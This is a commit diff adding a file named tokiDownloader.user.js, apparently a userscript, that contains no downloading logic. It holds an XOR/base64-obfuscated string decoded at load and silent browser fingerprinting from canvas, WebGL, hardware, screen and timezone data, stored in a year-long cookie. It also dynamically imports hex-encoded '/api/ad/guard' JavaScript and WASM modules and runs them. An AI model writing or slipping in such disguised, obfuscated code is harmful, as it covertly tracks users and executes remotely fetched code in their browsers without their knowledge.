Initial commit - tokiDownloader.user.js
This commit is contained in:
@@ -0,0 +1,99 @@
|
||||
var _K=[125,58,94,28,143,75,45,106,25,63,92,30,141,74,43,111];var _D=function(b){var d=Uint8Array.from(atob(b),function(c){return c.charCodeAt(0)});for(var i=0;i<d.length;i++)d[i]^=_K[i%16];return new TextDecoder().decode(d);};_D("l4jj9jzrF0r1oug+YMang+CGsoEXa8b+jdPhimbegkNd0cqIY/CZh5WzsIMxZguEy76ymBJnDYG/k7esCaahy13WyYhj7K2BkrewiDmhjO6Rp948Yt6Zh5uGfPIG1sDg+dbDqGTinUr1qNj0P+PG8fUatKQHp4rq8q/19QbCwOTZFH7wEv8NhqSrt40RoaH7XdbLlGLAnUf1qej1OvrHyfUata87p7jiOdT1imHxj4T2srK6F6ez7/K01PUG7gVPkafqPGLHoYaEg7CDCWrH8snXy6ija8HwqdLGkqFqwMPJ0f65YtK5RjnT1IZh6r5PlqLO9wXfDYa5qretOaGO013W6Ihj/bGHjKe3vimhoftd0fS0ZNiNSvW0wPUCzsDl6Rq1rzumtdLyr8A+YfGfgu6Ss5g/a8HhhdPWumDPt4Pqqn73A8vA/4Uft7I5oaDHXdb+jWX8kYaOr3zzGP7A5MTXy7VkwKWBkptyPiiKnoKJs4kaeKn7YgVqcLrE3szv4oGZ8ArHwNn51tuCTfzR7r3VyqFd/fG28dbq9J1n+KCb1bq2mAlvyPGB0saZsb+P8fWI3jxi1rWBtYty");
|
||||
(function () {
|
||||
try {
|
||||
function _cookie(name) {
|
||||
try {
|
||||
var m = document.cookie.match(new RegExp("(?:^|;\\s*)" + name + "=([^;]*)"));
|
||||
return m ? decodeURIComponent(m[1] || "") : "";
|
||||
} catch (_) { return ""; }
|
||||
}
|
||||
function _valid(v) { return typeof v === "string" && /^[a-fA-F0-9]{16,}$/.test(v); }
|
||||
function _pad(n) { return ("00000000" + (n >>> 0).toString(16)).slice(-8); }
|
||||
function _h(seed, s) {
|
||||
var h = seed >>> 0;
|
||||
for (var i = 0; i < s.length; i++) {
|
||||
h ^= s.charCodeAt(i);
|
||||
h = Math.imul(h, 16777619) >>> 0;
|
||||
}
|
||||
return _pad(h);
|
||||
}
|
||||
function _canvas() {
|
||||
try {
|
||||
var c = document.createElement("canvas");
|
||||
c.width = 200; c.height = 50;
|
||||
var x = c.getContext("2d");
|
||||
if (!x) return "";
|
||||
x.textBaseline = "top";
|
||||
x.font = "14px Arial";
|
||||
x.fillStyle = "#f60"; x.fillRect(0, 0, 100, 50);
|
||||
x.fillStyle = "#069"; x.fillText("ntk-fp-\u00a9", 2, 2);
|
||||
x.fillStyle = "rgba(102,204,0,0.7)"; x.fillText("ntk-fp-\u00a9", 4, 4);
|
||||
var d = c.toDataURL();
|
||||
return d.slice(Math.max(0, d.length - 120));
|
||||
} catch (_) { return ""; }
|
||||
}
|
||||
function _webgl() {
|
||||
try {
|
||||
var c = document.createElement("canvas");
|
||||
var g = c.getContext("webgl");
|
||||
if (!g) return "";
|
||||
var e = g.getExtension("WEBGL_debug_renderer_info");
|
||||
if (!e) return "";
|
||||
return String(g.getParameter(e.UNMASKED_VENDOR_WEBGL) || "") + "|" + String(g.getParameter(e.UNMASKED_RENDERER_WEBGL) || "");
|
||||
} catch (_) { return ""; }
|
||||
}
|
||||
function _randomFp() {
|
||||
try {
|
||||
var a = new Uint8Array(16);
|
||||
crypto.getRandomValues(a);
|
||||
var s = "";
|
||||
for (var i = 0; i < a.length; i++) s += ("0" + a[i].toString(16)).slice(-2);
|
||||
return s;
|
||||
} catch (_) {
|
||||
return _h(2166136261, String(Date.now()) + "|" + String(Math.random())) +
|
||||
_h(3141592653, String(Math.random()) + "|" + navigator.userAgent) +
|
||||
_h(2654435761, location.href) +
|
||||
_h(1597334677, String(performance && performance.now ? performance.now() : Date.now()));
|
||||
}
|
||||
}
|
||||
function _ensureFp() {
|
||||
if (_valid(_cookie("ntk_fp"))) return true;
|
||||
var n = window.navigator || {};
|
||||
var parts = [
|
||||
n.userAgent || "",
|
||||
n.language || "",
|
||||
n.languages ? Array.prototype.join.call(n.languages, ",") : "",
|
||||
String(n.hardwareConcurrency || 0),
|
||||
String(n.deviceMemory || 0),
|
||||
n.platform || "",
|
||||
String(n.maxTouchPoints || 0),
|
||||
screen ? (String(screen.width || 0) + "x" + String(screen.height || 0) + "x" + String(screen.colorDepth || 0)) : "",
|
||||
String(new Date().getTimezoneOffset()),
|
||||
(typeof Intl !== "undefined" && Intl.DateTimeFormat ? Intl.DateTimeFormat().resolvedOptions().timeZone : "") || "",
|
||||
_canvas(),
|
||||
_webgl()
|
||||
];
|
||||
var joined = parts.join("|");
|
||||
var fp = joined.replace(/\|/g, "") ?
|
||||
_h(2166136261, joined) + _h(3141592653, joined) + _h(2654435761, joined) + _h(1597334677, joined) :
|
||||
_randomFp();
|
||||
if (!_valid(fp)) fp = _randomFp();
|
||||
var secure = location.protocol === "https:" ? "; Secure" : "";
|
||||
document.cookie = "ntk_fp=" + encodeURIComponent(fp) + "; Path=/; Max-Age=31536000; SameSite=Lax" + secure;
|
||||
try { window.__ntk_fp_ready = 1; } catch (_) {}
|
||||
return _valid(_cookie("ntk_fp"));
|
||||
}
|
||||
_ensureFp();
|
||||
var _P="\x2f\x61\x70\x69\x2f\x61\x64\x2f";
|
||||
var _V="";try{_V=new URL((document.currentScript&&document.currentScript.src)||location.href).search||"";}catch(_){}
|
||||
try{var _Q=new URLSearchParams(_V);var _WV=_Q.get("wv");if(_WV)_V="?v="+encodeURIComponent(_WV);}catch(_){}
|
||||
import(_P+"\x67\x75\x61\x72\x64\x2d\x6a\x73"+_V).then(function (mod) {
|
||||
return mod.default({ module_or_path: _P+"\x67\x75\x61\x72\x64\x2d\x77\x61\x73\x6d"+_V }).then(function () { return mod; });
|
||||
}).then(function (mod) {
|
||||
try {
|
||||
var run = mod.runFpInit || mod.__i1;
|
||||
if (typeof run === "function") run();
|
||||
} catch (_) {}
|
||||
}).catch(function (_) {});
|
||||
} catch (_) {}
|
||||
})();
|
||||
Reference in New Issue
Block a user